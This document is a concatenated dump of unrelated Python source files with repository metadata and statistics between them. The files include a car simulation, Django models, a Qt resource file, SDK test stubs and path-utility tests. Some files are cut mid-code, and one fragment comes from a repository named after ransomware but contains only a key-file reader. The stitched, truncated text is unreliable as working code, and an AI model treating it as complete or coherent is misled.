world.cars.append(car.SimpleOptimizerCar(dyn, [-0.13, 0., math.pi/2., 0.5], color='red')) if know_model: world.cars.append(car.NestedOptimizerCar(dyn, [0., 0.05, math.pi/2., 0.5], color='yellow')) else: world.cars.append(car.SimpleOptimizerCar(dyn, [0., 0.05, math.pi/2., 0.5], color='yellow')) world.cars[0].reward = world.simple_reward(world.cars[0], speed=0.6) world.cars[0].default_u = np.asarray([0., 1.]) @feature.feature def goal(t, x, u): return -(10.*(x[0]+0.13)**2+0.5*(x[1]-2.)**2) if know_model: world.cars[1].human = world.cars[0] r_h = world.simple_reward([world.cars[1].traj], speed=0.6)+100.*feature.bounded_control(world.cars[0].bounds) r_r = 10*goal+world.simple_reward([world.cars[1].traj_h], speed=0.5) world.cars[1].rewards = (r_h, r_r) else: r = 10*goal+world.simple_reward([world.cars[0].linear], speed=0.5) world.cars[1].reward = r return world def world_features(num=0): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] world.cars.append(car.UserControlledCar(dyn, [-0.13, 0., math.pi/2., 0.3], color='red')) world.cars.append(car.Car(dyn, [0., 0.1, math.pi/2.+math.pi/5, 0.], color='yellow')) world.cars.append(car.Car(dyn, [-0.13, 0.2, math.pi/2.-math.pi/5, 0.], color='yellow')) world.cars.append(car.Car(dyn, [0.13, -0.2, math.pi/2., 0.], color='yellow')) #world.cars.append(car.NestedOptimizerCar(dyn, [0.0, 0.5, math.pi/2., 0.3], color='yellow')) return world if __name__ == '__main__': world = playground() #world.cars = world.cars[:0] vis = visualize.Visualizer(0.1, magnify=1.2) vis.main_car = None vis.use_world(world) vis.paused = True @feature.feature def zero(t, x, u): return 0. r = zero #for lane in world.lanes: # r = r+lane.gaussian() #for fence in world.fences: # r = r-3.*fence.gaussian() r = r - world.cars[0].linear.gaussian() #vis.visible_cars = [world.cars[0]] vis.set_heat(r) vis.run()
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189
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0.062419
0.060858
0.763069
0.741482
0.728218
0.717685
0.683485
0.673472
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0.197955
13,104
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false
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0.038869
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4
7b0f87d9a890be56a9d987bd222836a10e1ce27d
288
py
Python
test/conftest.py
gyunt/pydaybit
b708e87f401fe7ebaf9af00c17bfccb6fb19323a
[ "Apache-2.0" ]
null
null
null
test/conftest.py
gyunt/pydaybit
b708e87f401fe7ebaf9af00c17bfccb6fb19323a
[ "Apache-2.0" ]
null
null
null
test/conftest.py
gyunt/pydaybit
b708e87f401fe7ebaf9af00c17bfccb6fb19323a
[ "Apache-2.0" ]
null
null
null
import pytest from pydaybit import daybit_url, daybit_api_key, daybit_api_secret @pytest.fixture def daybit_params(): return {'url': daybit_url(), 'params': { 'api_key': daybit_api_key(), 'api_secret': daybit_api_secret()} }
22.153846
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0.600694
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288
4.848485
0.393939
0.225
0.15
0.1875
0
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0.291667
288
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0.090278
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0.111111
true
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0.222222
0.111111
0.444444
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null
1
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4
9e60c34412dc832854232cf4a566f1c8ac4a6429
126,605
py
Python
src/Client/util/resource_rc.py
Jictyvoo/TEC502-2018.1--English-Dictionary-Game
a775e5ca7853f87466dd478b9dbc4762c3d111c4
[ "MIT" ]
null
null
null
src/Client/util/resource_rc.py
Jictyvoo/TEC502-2018.1--English-Dictionary-Game
a775e5ca7853f87466dd478b9dbc4762c3d111c4
[ "MIT" ]
null
null
null
src/Client/util/resource_rc.py
Jictyvoo/TEC502-2018.1--English-Dictionary-Game
a775e5ca7853f87466dd478b9dbc4762c3d111c4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt5 (Qt v5.10.1) # # WARNING! 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\x57\x8f\x36\xba\xa7\x6d\xd2\xb8\x8c\xd8\x26\x8e\xef\x6c\x5c\x68\ \x12\x61\xb7\x73\x5c\xc8\xfe\xed\xc6\x4e\x3a\xbe\x5f\xef\xef\x6e\ \xd7\x95\x5b\xdc\x7f\x1b\x97\x11\xdb\xc4\xf1\x6f\x03\xdf\x6e\x49\ \x57\x17\x9b\xac\xb7\x4d\x12\x2f\x30\x2e\xaa\x02\xd8\x36\xb6\xb1\ \x8d\x7f\x9b\xb8\x54\xc9\x47\xdb\xd8\xc6\x36\xfe\x0d\xe1\xff\x07\ \xe9\x3a\x2d\x0d\x8f\x04\x3f\x90\x00\x00\x00\x00\x49\x45\x4e\x44\ \xae\x42\x60\x82\ " qt_resource_name = b"\ \x00\x0b\ \x02\x68\x8e\x1f\ \x00\x62\ \x00\x6f\x00\x67\x00\x67\x00\x6c\x00\x65\x00\x5f\x00\x6c\x00\x6f\x00\x67\x00\x6f\ \x00\x16\ \x0b\x7b\x27\x47\ \x00\x6c\ \x00\x6f\x00\x67\x00\x6f\x00\x5f\x00\x62\x00\x6f\x00\x67\x00\x67\x00\x6c\x00\x65\x00\x5f\x00\x32\x00\x31\x00\x32\x00\x38\x00\x31\ \x00\x30\x00\x2e\x00\x70\x00\x6e\x00\x67\ " qt_resource_struct_v1 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x1c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ " qt_resource_struct_v2 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x1c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x01\x63\x31\x35\x6c\xaf\ " qt_version = QtCore.qVersion().split('.') if qt_version < ['5', '8', '0']: rcc_version = 1 qt_resource_struct = qt_resource_struct_v1 else: rcc_version = 2 qt_resource_struct = qt_resource_struct_v2 def qInitResources(): QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
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0
0
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0
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4
9e64ed7168b3b379aeb451549da4c69492406191
269
py
Python
server/media_manager/models/setting.py
ToxicFrazzles/ImageSorter
97da8c2cca1e99ce571b77372ef0b8ab7339ed44
[ "MIT" ]
null
null
null
server/media_manager/models/setting.py
ToxicFrazzles/ImageSorter
97da8c2cca1e99ce571b77372ef0b8ab7339ed44
[ "MIT" ]
null
null
null
server/media_manager/models/setting.py
ToxicFrazzles/ImageSorter
97da8c2cca1e99ce571b77372ef0b8ab7339ed44
[ "MIT" ]
null
null
null
from django.db import models class Setting(models.Model): key = models.CharField(max_length=100, unique=True, db_index=True) name = models.CharField(max_length=100) value = models.CharField(max_length=100) def __str__(self): return self.name
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4
9e8d99f4bb2495dd354f05145e9c3c1592b185f8
219
py
Python
PrivateMonitorServer/src/Interface/StatusInterface.py
ajax-2/PrivateMonitor
9ab79ad08ba820bdb4c292676299bdeb2af7f725
[ "Apache-2.0" ]
null
null
null
PrivateMonitorServer/src/Interface/StatusInterface.py
ajax-2/PrivateMonitor
9ab79ad08ba820bdb4c292676299bdeb2af7f725
[ "Apache-2.0" ]
null
null
null
PrivateMonitorServer/src/Interface/StatusInterface.py
ajax-2/PrivateMonitor
9ab79ad08ba820bdb4c292676299bdeb2af7f725
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 from src.Implement.StatusImplement import StatusImplement class StatusInterface(object): @staticmethod def get_status(cluster, data): return StatusImplement.get_status(cluster, data)
19.909091
57
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6.833333
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0.195122
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0.164384
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10
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9eacc716355c993ab68adb0ebefe314a3c450694
92
py
Python
Search/forms.py
IamStefin/Pirate-Books
a7ac5750f91f249bf36dade7776f90f4f462eba2
[ "WTFPL" ]
2
2020-05-17T16:40:12.000Z
2020-07-26T11:48:53.000Z
Search/forms.py
IamStefin/Pirate-Books
a7ac5750f91f249bf36dade7776f90f4f462eba2
[ "WTFPL" ]
null
null
null
Search/forms.py
IamStefin/Pirate-Books
a7ac5750f91f249bf36dade7776f90f4f462eba2
[ "WTFPL" ]
null
null
null
from django import forms class SearchForm(forms.Form): term = forms.CharField(label="")
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36
0.73913
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5.666667
0.833333
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4
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7b3592dbad64613b502ac960707278c893f5897f
99
py
Python
FSICdata/__init__.py
ChrisThoung/fsic-data
33a35086b94ea1995d93b1dc6ac55a3ec0245c16
[ "BSD-3-Clause" ]
null
null
null
FSICdata/__init__.py
ChrisThoung/fsic-data
33a35086b94ea1995d93b1dc6ac55a3ec0245c16
[ "BSD-3-Clause" ]
null
null
null
FSICdata/__init__.py
ChrisThoung/fsic-data
33a35086b94ea1995d93b1dc6ac55a3ec0245c16
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from FSICdata.version import MAJOR, MINOR, PATCH, VERSION as __version__
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72
0.707071
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5.076923
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0
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4
7b3de837574044f17c18c3be1af0ad4b548dc5e8
101
py
Python
esp_sdk/extensions/base_object.py
zimmermanc/esp-sdk-python
cdef13c0dc6c3996b6c444160c71b2f1e3910c97
[ "MIT" ]
6
2017-06-05T20:37:19.000Z
2019-04-10T08:43:59.000Z
esp_sdk/extensions/base_object.py
zimmermanc/esp-sdk-python
cdef13c0dc6c3996b6c444160c71b2f1e3910c97
[ "MIT" ]
18
2016-06-22T16:14:33.000Z
2018-10-29T21:53:15.000Z
esp_sdk/extensions/base_object.py
zimmermanc/esp-sdk-python
cdef13c0dc6c3996b6c444160c71b2f1e3910c97
[ "MIT" ]
18
2016-07-27T19:20:01.000Z
2020-11-17T02:09:58.000Z
class BaseObject(object): """ A base class to provide common features to all models. """
20.2
58
0.643564
13
101
5
0.846154
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0.257426
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4
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25.25
0.866667
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4
7b91fe20e6e3a1a2210bf2224cac29884af54480
114
py
Python
sometime/__init__.py
rmaniego/sometime
1f5402193750775527ea1c99dcd4476ceaf3279a
[ "MIT" ]
1
2020-12-26T04:17:29.000Z
2020-12-26T04:17:29.000Z
build/lib/sometime/__init__.py
rmaniego/sometime
1f5402193750775527ea1c99dcd4476ceaf3279a
[ "MIT" ]
null
null
null
build/lib/sometime/__init__.py
rmaniego/sometime
1f5402193750775527ea1c99dcd4476ceaf3279a
[ "MIT" ]
null
null
null
""" sometime """ from .version import version as __version__ from .sometime import Sometime __all__ = ["sometime"]
28.5
43
0.754386
13
114
6
0.461538
0
0
0
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0.131579
114
4
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0.787879
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4
7b9b3eb61d8a7bff448322f00c1f14b8e53e2d17
93
py
Python
ransomeeewareee/loadkey.py
aakashbilly/python3-ransomeware
50ccf8217f78c32c30f8200a6f53ee056aea7c23
[ "MIT" ]
null
null
null
ransomeeewareee/loadkey.py
aakashbilly/python3-ransomeware
50ccf8217f78c32c30f8200a6f53ee056aea7c23
[ "MIT" ]
null
null
null
ransomeeewareee/loadkey.py
aakashbilly/python3-ransomeware
50ccf8217f78c32c30f8200a6f53ee056aea7c23
[ "MIT" ]
1
2021-05-23T02:56:44.000Z
2021-05-23T02:56:44.000Z
def load_key(): with open("key.key","rb") as key: key = key.read() return key
23.25
37
0.548387
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93
3.333333
0.6
0.36
0
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4
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0
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4
c886828718d7b97f0a66d09aea9cabe9c56b8ee8
83
py
Python
han/__init__.py
dstrigl/amshan
9c2d54e9fd1ce0fd844c30c83349d959ac551fd5
[ "MIT" ]
3
2021-12-28T22:57:54.000Z
2022-02-26T20:13:09.000Z
han/__init__.py
dstrigl/amshan
9c2d54e9fd1ce0fd844c30c83349d959ac551fd5
[ "MIT" ]
7
2022-01-18T10:31:08.000Z
2022-03-15T07:16:36.000Z
han/__init__.py
dstrigl/amshan
9c2d54e9fd1ce0fd844c30c83349d959ac551fd5
[ "MIT" ]
2
2021-12-29T09:18:35.000Z
2022-03-12T16:53:45.000Z
"""han package for reading measure stream frm HAN-port of norwegian AMS-meters."""
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4
c897cf09345012d96ef3574d55de0b2aab05f5ff
666
py
Python
src/pages/views.py
klaskaris11/gsoc2019-anonymization
09a4ddd2bd74dc0eecded3e5e3f03c4fc4089ce1
[ "MIT" ]
null
null
null
src/pages/views.py
klaskaris11/gsoc2019-anonymization
09a4ddd2bd74dc0eecded3e5e3f03c4fc4089ce1
[ "MIT" ]
1
2020-09-14T16:09:05.000Z
2020-09-14T16:09:05.000Z
src/pages/views.py
klaskaris11/gsoc2019-anonymization
09a4ddd2bd74dc0eecded3e5e3f03c4fc4089ce1
[ "MIT" ]
1
2020-07-05T14:22:13.000Z
2020-07-05T14:22:13.000Z
from django.shortcuts import render from upload_file.views import upload_file from pages.external_functions import create_user_folders, clear_documents_on_redirect # Create your views here. def home_view(request, *args, **kwargs): # file_uploader = upload_file(request=request) # clear_documents_on_redirect(request) create_user_folders(request=request) return render(request, "home.html", {}) def about_view(request, *args, **kwargs): # clear_documents_on_redirect() return render(request, 'about.html', {}) def contact_view(request, *args, **kwargs): # clear_documents_on_redirect() return render(request, 'contact.html', {})
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1
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4
c8b5706908d02381792a8729114e5155083795dc
81
py
Python
adventcode/utils.py
johnhendrick/adventofcode2021
04d884d65eebc0178ddb79b1ff2a5c088c349e5e
[ "MIT" ]
1
2021-12-15T00:34:04.000Z
2021-12-15T00:34:04.000Z
adventcode/utils.py
johnhendrick/adventofcode2021
04d884d65eebc0178ddb79b1ff2a5c088c349e5e
[ "MIT" ]
null
null
null
adventcode/utils.py
johnhendrick/adventofcode2021
04d884d65eebc0178ddb79b1ff2a5c088c349e5e
[ "MIT" ]
null
null
null
def read_file(file_path): with open(file_path) as f: return f.read()
20.25
30
0.641975
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3.5
0.642857
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0.246914
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3
31
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4
c8bc53d42bbaee46e934f66f7aac1e828eaa5de8
138
py
Python
src/apps/uploader/urls.py
GotlingSystem/apnea
6b2c0bdaa3733b5ec19456aae6177da4a13ab7d1
[ "MIT" ]
null
null
null
src/apps/uploader/urls.py
GotlingSystem/apnea
6b2c0bdaa3733b5ec19456aae6177da4a13ab7d1
[ "MIT" ]
3
2015-02-14T18:51:19.000Z
2015-02-24T07:44:05.000Z
src/apps/uploader/urls.py
GotlingSystem/apnea
6b2c0bdaa3733b5ec19456aae6177da4a13ab7d1
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, url from .views import upload urlpatterns = patterns('', url(r'^$', upload, name='upload'), )
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0.688406
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138
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6
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4
c8f705376a19f90fdb802b6ad6ece89b1b8d335e
71
py
Python
crot.py
dickyalfandra/belajarpython
b60f01fc74a915037546cd3002c5800030c1c8b2
[ "MIT" ]
null
null
null
crot.py
dickyalfandra/belajarpython
b60f01fc74a915037546cd3002c5800030c1c8b2
[ "MIT" ]
null
null
null
crot.py
dickyalfandra/belajarpython
b60f01fc74a915037546cd3002c5800030c1c8b2
[ "MIT" ]
1
2019-11-22T06:27:22.000Z
2019-11-22T06:27:22.000Z
class Crot(object): def __init__(self): print("hello crot")
23.666667
27
0.619718
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0
0
4
74068f8293cb36754832304b6f73a347f1129fa5
1,982
py
Python
tests/transactions/builder/test_second_signature_registration.py
ciband/python-crypto
27acf5659efe1aedc0ce5ae73b1ebf03126cb7f4
[ "MIT" ]
null
null
null
tests/transactions/builder/test_second_signature_registration.py
ciband/python-crypto
27acf5659efe1aedc0ce5ae73b1ebf03126cb7f4
[ "MIT" ]
1
2018-08-29T17:18:13.000Z
2018-08-29T17:18:13.000Z
tests/transactions/builder/test_second_signature_registration.py
ciband/python-crypto
27acf5659efe1aedc0ce5ae73b1ebf03126cb7f4
[ "MIT" ]
null
null
null
from crypto.configuration.network import set_network from crypto.constants import TRANSACTION_SECOND_SIGNATURE_REGISTRATION, TRANSACTION_TYPE_GROUP from crypto.networks.devnet import Devnet from crypto.transactions.builder.second_signature_registration import SecondSignatureRegistration set_network(Devnet) def test_second_signature_registration_transaction(): """Test if a second signature registration transaction gets built """ transaction = SecondSignatureRegistration('this is a top secret passphrase') transaction.set_type_group(TRANSACTION_TYPE_GROUP.CORE) transaction.set_nonce(1) transaction.schnorr_sign('testing') transaction_dict = transaction.to_dict() assert transaction_dict['nonce'] == 1 assert transaction_dict['signature'] assert transaction_dict['type'] is TRANSACTION_SECOND_SIGNATURE_REGISTRATION assert transaction_dict['typeGroup'] == 1 assert transaction_dict['typeGroup'] == TRANSACTION_TYPE_GROUP.CORE.value assert transaction_dict['fee'] == 500000000 transaction.schnorr_verify() # if no exception is raised, it means the transaction is valid def test_second_signature_registration_transaction_custom_fee(): """Test if a second signature registration transaction gets built with a custom fee """ transaction = SecondSignatureRegistration('this is a top secret passphrase', 5) transaction.set_type_group(TRANSACTION_TYPE_GROUP.CORE) transaction.set_nonce(1) transaction.schnorr_sign('testing') transaction_dict = transaction.to_dict() assert transaction_dict['nonce'] == 1 assert transaction_dict['signature'] assert transaction_dict['type'] is TRANSACTION_SECOND_SIGNATURE_REGISTRATION assert transaction_dict['typeGroup'] == 1 assert transaction_dict['typeGroup'] == TRANSACTION_TYPE_GROUP.CORE.value assert transaction_dict['fee'] == 5 transaction.schnorr_verify() # if no exception is raised, it means the transaction is valid
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0
0
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4
cd9ee1c98f14f0b7d72a577b2801f6e8037f2172
1,486
py
Python
test/test_documents_api.py
michaelachrisco/signrequest-python-client
2a77737b62175346e677fb8ea7a8ba075aff73ed
[ "MIT" ]
3
2019-09-03T17:47:19.000Z
2020-02-05T15:15:50.000Z
test/test_documents_api.py
michaelachrisco/signrequest-python-client
2a77737b62175346e677fb8ea7a8ba075aff73ed
[ "MIT" ]
3
2018-11-26T23:57:22.000Z
2020-09-07T19:17:11.000Z
test/test_documents_api.py
michaelachrisco/signrequest-python-client
2a77737b62175346e677fb8ea7a8ba075aff73ed
[ "MIT" ]
1
2019-11-08T21:54:55.000Z
2019-11-08T21:54:55.000Z
# coding: utf-8 """ SignRequest API API for SignRequest.com OpenAPI spec version: v1 Contact: tech-support@signrequest.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import signrequest_python_client from signrequest_python_client.api.documents_api import DocumentsApi # noqa: E501 from signrequest_python_client.rest import ApiException class TestDocumentsApi(unittest.TestCase): """DocumentsApi unit test stubs""" def setUp(self): self.api = signrequest_python_client.api.documents_api.DocumentsApi() # noqa: E501 def tearDown(self): pass def test_documents_create(self): """Test case for documents_create Create a Document # noqa: E501 """ pass def test_documents_delete(self): """Test case for documents_delete Delete a Document # noqa: E501 """ pass def test_documents_delete_files(self): """Test case for documents_delete_files Delete a Document's Files # noqa: E501 """ pass def test_documents_list(self): """Test case for documents_list Retrieve a list of Documents # noqa: E501 """ pass def test_documents_read(self): """Test case for documents_read Retrieve a Document # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
21.228571
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1
0
0
1
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4
cda00d1acee5c920169c72f6da389fbc055c0f59
116
py
Python
smaef/jaro.py
DoggySmooth/smaef
1f1f5f738bca7a490bb5fafedf748581f42ac308
[ "MIT" ]
null
null
null
smaef/jaro.py
DoggySmooth/smaef
1f1f5f738bca7a490bb5fafedf748581f42ac308
[ "MIT" ]
null
null
null
smaef/jaro.py
DoggySmooth/smaef
1f1f5f738bca7a490bb5fafedf748581f42ac308
[ "MIT" ]
null
null
null
"""Core module of the project.""" def add(x: int, y: int) -> int: """Add two int numbers.""" return x + y
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4
cdb428c5fa691312869ace791a85696c77f5b937
185
py
Python
examples/custom/parallel_plot/parallel_reset.py
goncaloperes/bokeh
b857d2d17d7c19779bb0a7be2601d8238fb1d5e9
[ "BSD-3-Clause" ]
15,193
2015-01-01T05:11:45.000Z
2022-03-31T19:30:20.000Z
examples/custom/parallel_plot/parallel_reset.py
goncaloperes/bokeh
b857d2d17d7c19779bb0a7be2601d8238fb1d5e9
[ "BSD-3-Clause" ]
9,554
2015-01-01T03:16:54.000Z
2022-03-31T22:59:39.000Z
examples/custom/parallel_plot/parallel_reset.py
goncaloperes/bokeh
b857d2d17d7c19779bb0a7be2601d8238fb1d5e9
[ "BSD-3-Clause" ]
4,829
2015-01-02T03:35:32.000Z
2022-03-30T16:40:26.000Z
from bokeh.models import ActionTool class ParallelResetTool(ActionTool): """ Tool to reset only plot axes and not selections """ __implementation__ = 'parallel_reset.ts'
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4
cdeb07d66b87d42dc652613f5867f83c8d20884c
1,337
py
Python
7. patterns.py
gyan-krishna/python_assignment
2992d2e9c2da413ef9e1238ecb37047fdfadb735
[ "MIT" ]
2
2021-01-27T12:13:52.000Z
2021-02-13T14:50:58.000Z
7. patterns.py
gyan-krishna/python_assignment
2992d2e9c2da413ef9e1238ecb37047fdfadb735
[ "MIT" ]
null
null
null
7. patterns.py
gyan-krishna/python_assignment
2992d2e9c2da413ef9e1238ecb37047fdfadb735
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ ----------Phenix Labs---------- Created on Sat Jan 23 23:47:00 2021 @author: Gyan Krishna Topic: """ n = 6 #pattern 1 for i in range(n): for j in range(n-i): print("", end=" ") for j in range(i): print("*", end=" ") print("") print("\n\n") #pattern 2 curr = [] prev = [1] for i in range(n): print("", end=" ") print(1) for i in range(1,n): curr = [1] for j in range(1,i): curr.append(prev[j]+ prev[j-1]) curr.append(1) prev = curr for i in range(n-i): print("", end=" ") for i in curr: print(i, end=" ") print("") print("\n\n") #pattern 3 text = "ABCD" for i in range(len(text)+1): print(text[0:i]) print("\n\n") #pattern 4 for i in range(n): for j in range(n-i): print("", end=" ") for j in range(i): print("*", end=" ") print("") for i in range(n,0,-1): for j in range(n-i): print("", end=" ") for j in range(i): print("*", end=" ") print("") print("\n\n") #pattern 5: for i in range(n,0,-1): for j in range(n-i): print("", end=" ") for j in range(i): print("*", end=" ") print("") for i in range(n): for j in range(n-i): print("", end=" ") for j in range(i): print("*", end=" ") print("")
15.916667
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0.034261
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1,337
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0.631692
0.124159
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false
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0
0
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1
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4
cdf55813393183b3c49ea0e1953a009ede09c55c
448
py
Python
msmexplorer/tests/__init__.py
smsaladi/msmexplorer
7880545c239c8f33ababdd111f58fd553b8bbdde
[ "MIT" ]
null
null
null
msmexplorer/tests/__init__.py
smsaladi/msmexplorer
7880545c239c8f33ababdd111f58fd553b8bbdde
[ "MIT" ]
null
null
null
msmexplorer/tests/__init__.py
smsaladi/msmexplorer
7880545c239c8f33ababdd111f58fd553b8bbdde
[ "MIT" ]
null
null
null
import warnings # Show warnings for our package warnings.filterwarnings('always', module='msmbuilder.*') # Show warnings for packages where we want to be conscious of warnings warnings.filterwarnings('always', module='mdtraj.*') warnings.filterwarnings('always', module='scipy.*') warnings.filterwarnings('always', module='nglview.*') warnings.filterwarnings('always', module='matplotlib.*') warnings.filterwarnings('always', module='seaborn.*')
37.333333
70
0.770089
49
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7.040816
0.469388
0.382609
0.486957
0.591304
0
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0
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0.078125
448
11
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true
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0
0
1
0
0
0
0
0
0
4
cdfc80de35da1e2a392ced1e882faccd48f3a80a
1,539
py
Python
photos/models.py
AhteshamSid/Company-Website-Django
90248b1d593126a31ac019408e8021ce8735dbe8
[ "MIT" ]
null
null
null
photos/models.py
AhteshamSid/Company-Website-Django
90248b1d593126a31ac019408e8021ce8735dbe8
[ "MIT" ]
null
null
null
photos/models.py
AhteshamSid/Company-Website-Django
90248b1d593126a31ac019408e8021ce8735dbe8
[ "MIT" ]
null
null
null
from django.db import models class Category(models.Model): name = models.CharField(max_length=100, null=False, blank=False) def __str__(self): return self.name class Photo(models.Model): category = models.ForeignKey(Category, default="others", on_delete=models.SET_NULL, null=True, blank=True) image = models.ImageField(null=False, blank=False) description = models.TextField() class Meta: ordering = ['-id'] def __str__(self): return self.description class Team(models.Model): name = models.CharField(max_length=100, null=False, blank=False) image = models.ImageField(null=True, blank=True) description = models.TextField() facebook_url = models.CharField(max_length=250, null=True, blank=True) youtube_url = models.CharField(max_length=250, null=True, blank=True) twitter_url = models.CharField(max_length=250, null=True, blank=True) linkedin_url = models.CharField(max_length=250, null=True, blank=True) instagram_url = models.CharField(max_length=250, null=True, blank=True) whatsapp_url = models.CharField(max_length=250, null=True, blank=True) def __str__(self): return self.description class Contact(models.Model): email = models.EmailField() first_name = models.CharField(max_length=255) last_name = models.CharField(max_length=255) subject = models.CharField(max_length=255) message = models.TextField() def __str__(self): return self.email
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a82629fd57afb7849b6ddd1262078f63f08cd03f
15,960
py
Python
tests/test_path_utils.py
sobolevn/action-hero
75ff10dc8b01ee8d00367c63e8eccbbee9cc7d42
[ "MIT" ]
91
2019-09-26T20:55:55.000Z
2021-10-19T22:27:21.000Z
tests/test_path_utils.py
kadimisetty/action-heroes
f203e2e130dce970db803d6447bf7518c5e54285
[ "MIT" ]
1
2020-02-07T02:51:40.000Z
2020-02-07T02:51:40.000Z
tests/test_path_utils.py
kadimisetty/action-heroes
f203e2e130dce970db803d6447bf7518c5e54285
[ "MIT" ]
5
2020-02-02T03:40:47.000Z
2020-11-05T10:53:11.000Z
import unittest import tempfile import shutil import os from action_hero.path_utils import ( add_execute_permission, create_directory, create_file, get_extension, is_empty_file, is_executable_directory, is_executable_file, is_executable_path, is_existing_directory, is_existing_file, is_existing_or_creatable_path, is_existing_path, is_readable_directory, is_readable_file, is_readable_path, is_symbolic_link, is_valid_directory, is_valid_file, is_valid_path, is_writable_directory, is_writable_file, is_writable_path, remove_execute_permission, remove_read_permission, remove_write_permission, resolve_path, ) class TestExistenceUtils(unittest.TestCase): def test_on_exisiting_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_existing_directory(dir1)) def test_on_nonexisting_directory(self): dir1 = tempfile.mkdtemp() os.rmdir(dir1) self.assertFalse(is_existing_directory(dir1)) def test_on_exisiting_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_existing_file(file1.name)) def test_on_nonexisting_file(self): # Create and Remove a file to confirm it doesnt exist file1 = tempfile.mkstemp()[1] os.remove(file1) self.assertFalse(is_existing_file(file1)) def test_on_exisiting_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_existing_path(file1.name)) def test_on_nonexisting_path_as_file(self): # Create and Remove a file to confirm it doesnt exist file1 = tempfile.mkstemp()[1] os.remove(file1) self.assertFalse(is_existing_path(file1)) def test_on_exisiting_path_as_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_existing_path(dir1)) def test_on_nonexisting_path_as_directory(self): # Create and Remove a directory to confirm it doesnt exist dir1 = tempfile.mkdtemp() os.rmdir(dir1) self.assertFalse(is_existing_path(dir1)) class TestWritableUtils(unittest.TestCase): def test_on_writable_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_writable_directory(dir1)) def test_on_unwritable_directory(self): with tempfile.TemporaryDirectory() as dir1: remove_write_permission(dir1) self.assertFalse(is_writable_directory(dir1)) def test_on_writable_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_writable_file(file1.name)) def test_on_unwritable_file(self): with tempfile.NamedTemporaryFile() as file1: remove_write_permission(file1.name) self.assertFalse(is_writable_file(file1.name)) def test_on_writable_pasth_as_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_writable_path(dir1)) def test_on_unwritable_path_as_directory(self): with tempfile.TemporaryDirectory() as dir1: remove_write_permission(dir1) self.assertFalse(is_writable_path(dir1)) def test_on_writable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_writable_path(file1.name)) def test_on_unwritable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: remove_write_permission(file1.name) self.assertFalse(is_writable_path(file1.name)) class TestReadableUtils(unittest.TestCase): def test_on_readable_directory(self): # Specify temporary directory with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_readable_directory(dir1)) def test_on_unreadable_directory(self): dir1 = tempfile.mkdtemp() remove_read_permission(dir1) self.assertFalse(is_readable_directory(dir1)) os.rmdir(dir1) def test_on_readable_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_readable_file(file1.name)) def test_on_unreadable_file(self): with tempfile.NamedTemporaryFile() as file1: remove_read_permission(file1.name) self.assertFalse(is_readable_file(file1.name)) def test_on_readable_path_as_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_readable_path(dir1)) def test_on_unreadable_path_as_directory(self): dir1 = tempfile.mkdtemp() remove_read_permission(dir1) self.assertFalse(is_readable_directory(dir1)) os.rmdir(dir1) def test_on_readable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_readable_path(file1.name)) def test_on_unreadable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: remove_read_permission(file1.name) self.assertFalse(is_readable_path(file1.name)) class TestExecutableUtils(unittest.TestCase): def test_on_executable_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_executable_directory(dir1)) def test_on_unexecutable_directory(self): with tempfile.TemporaryDirectory() as dir1: remove_execute_permission(dir1) self.assertFalse(is_executable_directory(dir1)) def test_on_executable_file(self): with tempfile.NamedTemporaryFile() as file1: add_execute_permission(file1.name) self.assertTrue(is_executable_file(file1.name)) def test_on_unexecutable_file(self): with tempfile.NamedTemporaryFile() as file1: remove_execute_permission(file1.name) self.assertFalse(is_executable_file(file1.name)) def test_on_executable_path_as_directory(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_executable_path(dir1)) def test_on_unexecutable_path_as_directory(self): with tempfile.TemporaryDirectory() as dir1: remove_execute_permission(dir1) self.assertFalse(is_executable_path(dir1)) def test_on_executable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: add_execute_permission(file1.name) self.assertTrue(is_executable_path(file1.name)) def test_on_unexecutable_path_as_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertFalse(is_executable_path(file1.name)) class TestSymbolicLinkUtils(unittest.TestCase): def setUp(self): # Create parent directory to hold symbolic links self.parent_directory = 